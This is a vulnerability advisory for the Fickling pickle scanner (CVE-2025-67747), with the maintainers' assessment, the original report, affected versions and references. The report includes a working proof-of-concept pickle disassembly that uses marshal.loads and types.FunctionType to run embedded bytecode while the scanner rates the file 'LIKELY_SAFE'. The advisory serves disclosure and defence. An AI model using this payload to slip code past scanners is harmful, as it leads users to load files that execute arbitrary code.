Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list
Fickling Assessment
Based on the test case provided in the original report below, this bypass was caused by marshal and types missing from the block list of unsafe module imports, Fickling started blocking both modules to address this issue. This was fixed in https://github.com/trailofbits/fickling/pull/186. The crash is unrelated and has no security impact—it will be addressed separately.
Original report
Summary
There's missing detection for the python modules, marshal.loads and types.FunctionType and Fickling throws unhandled ValueErrors when the stack is deliberately exhausted.
Details
Fickling simply doesn't have the aforementioned modules in its list of unsafe imports and therefore it fails to get detected.
PoC
The following is a disassembled view of a malicious pickle file that uses these modules:
0: \x80 PROTO 4
2: \x95 FRAME 0
11: \x8c SHORT_BINUNICODE 'marshal'
20: \x8c SHORT_BINUNICODE 'loads'
27: \x93 STACK_GLOBAL
28: \x94 MEMOIZE (as 0)
29: h BINGET 0
31: C SHORT_BINBYTES b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xf30\x00\x00\x00\x95\x00S\x00S\x01K\x00r\x00\\\x00R\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"\x00S\x025\x01\x00\x00\x00\x00\x00\x00 \x00g\x01)\x03\xe9\x00\x00\x00\x00N\xda\x02id)\x02\xda\x02os\xda\x06system\xa9\x00\xf3\x00\x00\x00\x00\xda\x08<string>\xda\x08<module>r\t\x00\x00\x00\x01\x00\x00\x00s\x13\x00\x00\x00\xf0\x03\x01\x01\x01\xe3\x00\t\xd8\x00\x02\x87\t\x82\t\x88$\x85\x0fr\x07\x00\x00\x00'
198: \x85 TUPLE1
199: R REDUCE
200: \x94 MEMOIZE (as 1)
201: \x8c SHORT_BINUNICODE 'types'
208: \x8c SHORT_BINUNICODE 'FunctionType'
222: \x93 STACK_GLOBAL
223: \x94 MEMOIZE (as 2)
224: h BINGET 2
226: h BINGET 1
228: } EMPTY_DICT
229: \x86 TUPLE2
230: R REDUCE
231: \x94 MEMOIZE (as 3)
232: h BINGET 3
234: ) EMPTY_TUPLE
235: R REDUCE
236: \x94 MEMOIZE (as 4)
237: \x8c SHORT_BINUNICODE 'gottem'
245: b BUILD
246: . STOPWhen analyzing this modified file, safety_result.json shows:
{
"severity": "LIKELY_SAFE",
"analysis": "Warning: Fickling failed to detect any overtly unsafe code,but the pickle file may still be unsafe.Do not unpickle this file if it is from an untrusted source!\n\n",
"detailed_results": {}
}Furthermore, when we run fickling -s <path_to_malicious_file>, we also encounter this error:
Traceback (most recent call last):
File "<path>/fickling", line 7, in <module>
sys.exit(main())
^^^^^^
File "<path>/fickling/cli.py", line 163, in main
safety_results = check_safety(pickled, json_output_path=json_output_path)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<path>/fickling/analysis.py", line 408, in check_safety
results = analyzer.analyze(pickled)
^^^^^^^^^^^^^^^^^^^^^^^^^
File "<path>/fickling/analysis.py", line 65, in analyze
context.analyze(a)
File "<path>/fickling/analysis.py", line 31, in analyze
results = list(analysis.analyze(self))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<path>/fickling/analysis.py", line 196, in analyze
for node in context.pickled.non_standard_imports():
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<path>/fickling/fickle.py", line 826, in non_standard_imports
for node in self.properties.imports:
^^^^^^^^^^^^^^^
File "<path>/fickling/fickle.py", line 777, in properties
self._properties.visit(self.ast)
^^^^^^^^
File "<path>/fickling/fickle.py", line 833, in ast
self._ast = Interpreter.interpret(self)
^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<path>/fickling/fickle.py", line 1001, in interpret
return Interpreter(pickled).to_ast()
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "<path>/fickling/fickle.py", line 927, in to_ast
self.run()
File "<path>/fickling/fickle.py", line 971, in run
self.step()
File "<path>/fickling/fickle.py", line 989, in step
opcode.run(self)
File "<path>/fickling/fickle.py", line 1767, in run
raise ValueError("Exhausted the stack while searching for a MarkObject!")
ValueError: Exhausted the stack while searching for a MarkObject!Impact
This allows an attacker to craft a malicious pickle file that can bypass fickling since it misses detections for types.FunctionType and marshal.loads. A user who deserializes such a file, believing it to be safe, would inadvertently execute arbitrary code on their system. This impacts any user or system that uses Fickling to vet pickle files for security issues.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | fickling | < 0.1.6 | 0.1.6 |
References
- https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3
- https://nvd.nist.gov/vuln/detail/CVE-2025-67747
- https://github.com/trailofbits/fickling/pull/186
- https://github.com/trailofbits/fickling/commit/4e34561301bda1450268d1d7b0b2b151de33b913
- https://github.com/trailofbits/fickling
- https://github.com/trailofbits/fickling/releases/tag/v0.1.6
- https://pypi.org/project/fickling
- https://github.com/advisories/GHSA-565g-hwwr-4pp3
- CVSS vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P- Weakness (CWE)
CWE-184, CWE-502- Platform
- Python (PyPI)
- Package
fickling- Disclosed
- 15.12.2025
- Updated
- 11.10.2026 13:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-1368 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-565g-hwwr-4pp3 - CC BY 4.0
Vulnerability history: fickling
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 16
- First → latest
- 12.2025 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 11
- Medium 3
- Low 1
Disclosures per year
- 2025: 2
- 2026: 14
-
Fickling has missing detection for marshal.loads and types.FunctionType in unsafe modules list this entry
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